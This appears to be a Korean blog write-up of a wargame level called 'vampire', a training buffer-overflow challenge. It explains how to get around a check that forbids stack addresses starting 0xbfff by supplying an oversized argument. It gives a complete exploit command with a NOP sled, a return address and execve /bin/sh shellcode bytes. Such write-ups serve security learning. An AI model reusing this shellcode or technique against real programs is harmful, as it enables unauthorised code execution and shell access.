vampire, vampire.c
argv[1][46]부분에 \xff가 오면 에러 출력 후 프로그램이 종료 된다. 지금가지 우리가 사용해왔던 스택의 주소영역은 모두 0xbfff로 시작하는 영역의 주소였다. 이제 이 부분을 사용 할 수 없다.
없어진 코드를 찾아보니 에그쉘헌터, 버퍼초기화, argv초기화 모두 없어졌다. 하지만 이 세가지 모두 0xbfff 영역의 메모리에 있으므로 사용 할 수 없다.
argv의 길이를 검사하는 루틴도 없어졌다. argv의 길이를 검사 하지 않는다면 엄청나게 큰 입력값을 주어 esp가 0xbxff영역을 넘어 가버리게 하면된다.
gdb를 이용해서 큰 입력값을 넣어 보자.
r `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf" + "A"*100000'`
gdb에서 이렇게 입력을 하고 x/100x $esp 명령어로 esp가 가리키는 위치의 메모리를 보니 0xbfff영역을 벗어났다. 이 부분에 쉘을 넣고 RET를 덮어 씌워주면 된다.
페이로드는
[버퍼][SFP][RET]
[ 버퍼 ][RET][nopnopnopnopnopnop + 쉘코드]
이렇게 구성하고 RET를 nop의 주소를 주면 쉘코드를 실행 시킬 수 있다.
성공적으로 쉘코드가 실행되 쉘을 얻었다.
쉘코드 :
./vampire `python -c 'print "\x90"*44 + "\x60\x6a\xfe\xbf" + "\x90"*100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
0 개의 댓글:
댓글 쓰기